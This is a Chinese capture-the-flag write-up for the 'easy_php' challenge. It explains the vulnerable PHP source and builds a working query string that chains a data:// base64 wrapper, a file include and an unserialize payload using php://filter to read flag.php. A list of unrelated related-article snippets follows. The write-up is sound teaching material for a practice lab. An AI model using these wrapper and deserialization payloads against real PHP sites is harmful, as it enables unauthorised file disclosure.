SWCTF

easy_php

源码

<?php// flag is in flag.php
highlight_file(__FILE__);
ini_set('display_errors', 0);
error_reporting(0);if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) {$myon1 = $_GET['myon1'];$myon2 = $_GET['myon2'];$myon3 = $_GET['myon3'];if (file_get_contents($myon1) === "hello Myon!") {echo "welcome!";} else {die("you can't see the flag!");}if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {die("Access denied!");} else {include($myon2);  // myon.php$my = unserialize($myon3);echo $my;}
}?>

代码分析

提亮字体

highlight_file(__FILE__);

关闭错误回显,暴露出的信息越少越有利于网站的自我保护

ini_set('display_errors', 0);
error_reporting(0);

同时get传入三个参数,必须同时传入三个参数mony1,mony2,mony3少传一个都不会执行最大的这个if

if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) 

设置三个变量用来存储传入的参数用于后续代码执行

$myon1 = $_GET['myon1'];
$myon2 = $_GET['myon2'];
$myon3 = $_GET['myon3'];

此函数的判断条件是mony1储存的数据是否全等于hello Myon!如果是则输出welcom!,否则

if (file_get_contents($myon1) === "hello Myon!") {echo "welcome!";} else {die("you can't see the flag!");}

匹配mony2中最后一次出现flag的位置,出现了则不全等flase
stripos($myon2, “flag”) !== false

正则表达式匹配flag,i标识不区分大小写
preg_match(“/flag/i”, $myon2)

总之就是||前后的都必须为假也就是mony2中不能有flag字符串,不然就终止程序并且输出Access denied!,如果都没有包含flag,就文件包含mony2

if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {die("Access denied!");} else {include($myon2);  // myon.php$my = unserialize($myon3);echo $my;}

其次这个函数里还创建了一个变量my将mony3反序列化后赋值给了my最后输出my

序列化,反序列化

序列化就是将对象转换为字符串,反序列化将字符串转换为对象
可以看看这个博主写的

构建参数

mony1:目的输出welcom!

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=
为什么这么构造呢,你先不管后两个参数的内容是什么,只将第一个参数mony1的值改为hello world在这里插入图片描述之后我做了很多此尝试发现始终不会输出welcom,所以这里大概率是做了过滤,应该是把空格处理了,然后我尝试将空格替换成了url编码的格式还是不行在这里插入图片描述
这里我做了很多尝试,想到了base64编码,但是还是在这里插入图片描述
在这里插入图片描述
伪协议可以参考学习一下这个博主的
它不知道这个是base64编码,我们要告诉它,这就需要利用data://控制输入流告诉它这里有base编码。
也就是

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=

在这里插入图片描述

mony2

看到了提示,myon.php
在这里插入图片描述
当给 m y o n 2 传递参数为 m y o n . p h p 时,接下来的代码执行如下: 1. i n c l u d e ( myon2 传递参数为 myon.php 时,接下来的代码执行如下: 1.include( myon2传递参数为myon.php时,接下来的代码执行如下:1.include(myon2);:这会包含 myon.php 文件的内容。如果 myon.php 存在并且可访问,其中的代码将被执行。
2. m y = u n s e r i a l i z e ( my = unserialize( my=unserialize(myon3);:这一行尝试对 m y o n 3 进行反序列化操作。 myon3 进行反序列化操作。 myon3进行反序列化操作。myon3 包含了一个序列化的对象,如果反序列化成功,会将对象存储在变量 $my 中。

这样就行了

myon2=myon.php.

myon3

在这里插入图片描述
根据此模板构造
在这里插入图片描述
试着传入myon3的值,一般编码读取的成功性更大

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=myon.php";}

在这里插入图片描述
在这里插入图片描述
这个序列化的对象表示一个名为 “Myon” 的类,其中有一个名为 “myon” 的属性
可以直接读取myon.php的文件那不妨直接试试读取flag.php,这里给了提示
在这里插入图片描述

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
类似的我们还可以读取网页源码

在这里插入图片描述

将三者拼接到一起就成功获取了一个fbase64加密的flag

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/2736.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

苍穹外卖day12 (Apache POI) 数据统计-Excel报表

文章目录 前言一、工作台1.1 今日数据1.1.1 接口设计1.1.2 代码实现 1.2 订单管理接口1.3菜品总览接口1.4 套餐总览接口1.5 订单搜索&#xff08;已完成&#xff09;1.6 各个状态的订单数量统计&#xff08;已完成&#xff09; 二、Apache POI2.1 概述2.2 效果展示 三、导出运营…

vue中web端播放rtsp视频流(摄像头监控视频)(海康威视录像机)

一、ffmpeg安装​​​​​​ ffmpeg下载 https://ffmpeg.org/download.html找ffmpeg-release-essentials.zip点击下载&#xff0c;下载完解压ffmpeg.exe 程序运行 二、配置ffmpeg环境变量 添加成功后验证是否生效任意地方打开cmd窗口输入 ffmpeg 打印如下表示成功 三、node…

谈谈对情绪周期和题材轮动的个人理解

首先讲两个概念&#xff1a; 1、情绪周期 我个人理解的情绪周期&#xff0c;就是不管在大盘跌与涨的过程中&#xff0c;短线情绪都会有几个阶段&#xff0c;低位震荡&#xff0c;主升浪&#xff0c;高位震荡&#xff0c;退潮期&#xff0c;这几个阶段。 低位震荡指的是&#xf…

未来五十年,智能科技将如何改变传统行业格局?

未来五十年内&#xff0c;随着人工智能&#xff08;AI&#xff09;和智能科技的不断发展&#xff0c;许多行业将面临被取代的风险。虽然这种趋势可能会带来一些担忧&#xff0c;但也将为人类社会带来巨大的变革。下面将详细探讨哪些行业可能会在未来被智能科技所取代。 ▶ 制造…

利用弹性云主机部署高效数据库系统

在当今云计算的时代&#xff0c;弹性云主机&#xff08;EC2&#xff09;为我们提供了前所未有的灵活性和可扩展性&#xff0c;使得在云端部署高效的数据库系统成为可能。本文将从选择适当的云服务配置、优化数据库设置、建立完备的数据备份与恢复策略&#xff0c;以及加强数据库…

ardupilot开发 --- Jetson Orin Nano 篇

多情应笑我早生华发 0. 一些概念1. 系统安装&#xff08;刷机、flash&#xff09;1.1 使用SD卡安装系统1.2 使用固态硬盘安装系统 0. 一些概念 官网&#xff1a;https://www.nvidia.com/en-us/ Developers Documentation Getting Started Jetson Developer Kits User Guid…

「C++ 内存管理篇 1」C++动态内存分配

〇、C语言的动态内存分配方式 关于C语言的动态内存分配方式&#xff0c;简单来讲就是使用四个库函数&#xff1a;malloc、calloc、 realloc、free对堆区的内存进行灵活的分配和回收。有兴趣的话可以看看这篇文章: 「C语言进阶1」动态内存分配 一、C的动态内存分配方式 1. 什么…

国产大模型各自优势如何?大家都怎么选?

近日&#xff0c;一份国产大模型排行榜在网上流传&#xff0c;显示文心一言、通义千问、Kimi位居前三名&#xff0c;其中文心一言用户数为2亿&#xff0c;与其他产品拉开明显差距&#xff1b;前三名月访问量总计超过3000万。国内大模型也开始出现分化效应。

Linux部署MySQL

部署MySQL 先停掉虚拟机中的MySQL&#xff0c;确保你的虚拟机已经安装Docker&#xff0c;且网络开通的情况下&#xff0c;执行下面命令即可安装MySQL&#xff1a; docker run -d \ --name mysql \ -p 3306:3306 \ -e TZAsia/Shanghai \ -e MYSQL_ROOT_PASSWORD123 \ mysql 安…

Linux fcntl函数

fcntl函数 读法&#xff1a;file control函数 作用&#xff1a;复制文件描述符、设置/获取文件的状态标志 int fcntl(int fd, int cmd, ... /* arg */ )fd是文件描述符&#xff0c;cmd是命令&#xff08;定义的宏&#xff09;&#xff0c;… 表示可变的参数&#xff08;可有可…

Linux 安装 Docker +Docker Compose + cucker/get_command_4_run_container

TIP&#xff1a;下面演示的 Linux 系统为 CentOS 7.9。 Docker 更新你的系统并安装必要的依赖项&#xff1a; sudo yum update -y sudo yum install -y yum-utils device-mapper-persistent-data lvm2添加 Docker 的官方仓库&#xff1a; sudo yum-config-manager --add-rep…

如何在职场中有效管理时间和任务?好用的待办事项提醒软件

身在职场&#xff0c;时间管理和任务安排是每个人都必须面对的挑战。有效的时间管理不仅能提高工作效率&#xff0c;还能让我们在繁忙的工作中保持清醒的头脑。那么&#xff0c;如何在职场中有效管理时间和任务呢&#xff1f; 制定一个清晰的工作计划是非常必要的&#xff0c;…

Python构建学生信息管理系统:搭建开发环境

在本系列的前一篇文章中&#xff0c;我们详细规划了学生信息管理系统&#xff08;SIMS&#xff09;的数据库设计。接下来&#xff0c;我们将进入开发环境的搭建阶段。本文将指导您如何设置Python虚拟环境&#xff0c;安装Flask框架&#xff0c;以及项目所需的依赖库&#xff0c…

springcloud - ribbon 饥饿加载

一、未饥饿加载前 我们的服务者端口是8081&#xff0c;消费者端口是8085 当我们将两个项目都启动的时候&#xff0c;在消费者里日志级别设置未debug&#xff0c;发现找不到8081 二、开启饥饿加载 # 配置饥饿加载,d1为服务名 ribbon.eager-load.enabledtrue ribbon.eager-loa…

Spring Boot 2.5.3升级Spring Boot 3.2.2的方案设计及落地计划

Spring Boot 2.5.3升级Spring Boot 3.2.2的方案设计及落地 一、方案设计调研升级优势兼容性及风险评估引入开源软件评审备份与版本控制升级依赖代码修改测试 二、落地计划项目准备环境搭建实施升级验证与部署总结与反馈 一、方案设计 调研升级优势 首先&#xff0c;查看Sprin…

Echarts X轴类目名太长时隐藏显示全部

echarts图表X轴 在柱状图中,X轴类目名如果数据太长; echarts会默认进行隐藏部分字段; 如果我们想让每一个类目名都显示出来,需要进行额外的处理X轴类目名太长时,默认只显示一部分类目名 <!DOCTYPE html> <html lang="en"> <head><meta ch…

基于51单片机的超声波测距及温度显示

基于51单片机的超声波测距 &#xff08;仿真&#xff0b;程序&#xff0b;PCB原理图&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.超声波测距传感器HC-SR04、温度传感器DS18B20将检测的数据传给51单片机&#xff1b; 2.LCD1602实时显示测得的距离和温…

javaWeb项目-社区医院管理服务系统功能介绍

项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#xff1a;Vue、ElementUI 关键技术&#xff1a;springboot、SSM、vue、MYSQL、MAVEN 数据库工具&#xff1a;Navicat、SQLyog 1、Java技术 Java语…

【HTML】页面引用Vue3和Element-Plus

在现代前端开发中&#xff0c;Vue 3 和 Element Plus 是非常受欢迎的技术。Vue 3 是一个用于构建用户界面的渐进式 JavaScript 框架&#xff0c;而 Element Plus 是一个基于 Vue 3 的组件库&#xff0c;提供了丰富的 UI 组件&#xff0c;帮助开发者快速构建高质量的前端应用。 …

pyTorch框架部署实践

相关代码链接见文末 1.所需基本环境配置 首先&#xff0c;我们需要一个预先训练好的模型以及相应的配置。接下来&#xff0c;为了实际应用这个模型&#xff0c;我们必须搭建一个功能强大的服务器。这台服务器的核心任务是加载我们的模型&#xff0c;并能够接收用户上传的图片。…